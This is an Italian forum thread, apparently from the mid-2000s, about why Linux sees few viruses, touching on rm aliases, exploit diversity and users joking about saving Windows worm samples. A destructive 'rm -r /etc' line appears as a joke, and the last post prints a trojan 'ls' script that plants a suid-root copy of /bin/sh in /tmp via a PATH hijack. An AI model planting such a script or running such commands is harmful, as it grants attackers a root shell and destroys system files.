Perchè su Linux "non ci sono virus"

[/\/\@®¢Ø]

Mi sto semplicemente dilettando con lo
"UNIX-Haters handbook"

comunque non ci si scappa...
con l'ultimo alias ti precludi tutte le possibili opzioni

[Arpeda]

Originariamente inviato da Arpeda
alias rm='rm -i --'

mi correggo il -- nn può essere messo all'interno dell'alias altrimenti non si possono passare parametri a rm ... ho perso la sfida ...

come dice Marco è un problema filosofico ....

Ciao

[Cimi]

Originariamente inviato da franklar
La diversificazione che esiste nel campo delle distribuzioni Linux e dei software di navigazione rende la vita molto più difficile a chi vuole scriverci virus, anche se dall'altro lato l'utente novizio può essere spaventato da un'apparente enorme complessità del sistema.

permettimi ma credo sia molto + semplice la questione...

ipotizziamo un virus...

$ rm -r /etc
...
































....










Enter the password for "root":

[Cimi]

era già stato detto...

[DjMix]

tenete a mente un particolare... un qualunque virus cercherà di guadagnare i privilegi di root perchè chi lo scrive sa benissimo che senza non combinerà molto. Per fare questo utilizzerà un exploit che in qualche modo lo rende root. Il bello è che un exploit che funziona da me può tranquillamente non funzionare da te e viceversa... oppure come nel caso del baco trovato nel 2.4.23 che ha portato all'uscita prematura del 2.4.24: da me magari funziona, da te no... mettiamo poi che il kernel sia patchato (tipo mandrake e redhat) non funzionerà nemmeno li.... insomma la diversificazione che c'è su linux rende cmq un virus "poco" offensivo xchè, se non viene eseguito da root, si troverà di fronte situazioni da esaminare caso per caso e quindi le probabilità di successo diventeranno scarse.

In definitiva: di virus per linux ce ne sono, e si può ipotizzare che in futuro sempre più gente si metterà a scriverne. Ma seguendo il ragionamento sopra si può prevedere che questi virus possano colpire sempre un numero non esagerato di computer. non saremo mai di fronte ad una situazione come il blaster di questa estate insomma.

La questione mydoom invece è tutta un'altra cosa. la si vede solo quanto sia facile ingannare la gente.

[ShadowThrone]

io in /varie/ms_vrz
ho una copia funzionante del blast, del doom e altre cazzatelle varie...

[jappilas]

Originariamente inviato da ShadowThrone
io in /varie/ms_vrz
ho una copia funzionante del blast, del doom e altre cazzatelle varie...

O_o ... vuoi mettere su uno zoo di virus?

[NA01]

Originariamente inviato da jappilas
O_o ... vuoi mettere su uno zoo di virus?

thz! ho riempito un cd
se vuoi ti faccio una copia

[ShadowThrone]

Originariamente inviato da NA01
thz! ho riempito un cd
se vuoi ti faccio una copia

grande! poi stampiamo la cover con su scritto "windows 2000 resource kit"

non è che voglio fare uno zoo, è che mi arrivano via mail, e io come un bambino clikko sul file ma non succede nulla...

[/\/\@®¢Ø]

Originariamente inviato da Cimi
permettimi ma credo sia molto + semplice la questione...

ipotizziamo un virus...
<cut>

Piu' semplice. Metti nella tua home il seguente file chiamato ls

#!/bin/sh
cp /bin/sh /tmp/.shl
chmod 4755 /tmp/.shl
exec /bin/ls \$1 \$2 \$3 \$

Basta che un virus modifichi il tuo .bashrc in modo che aggiunga la directory corrente al path ed appena fai un ls da root nella tua home il virus ha una shell suid root pronta all'uso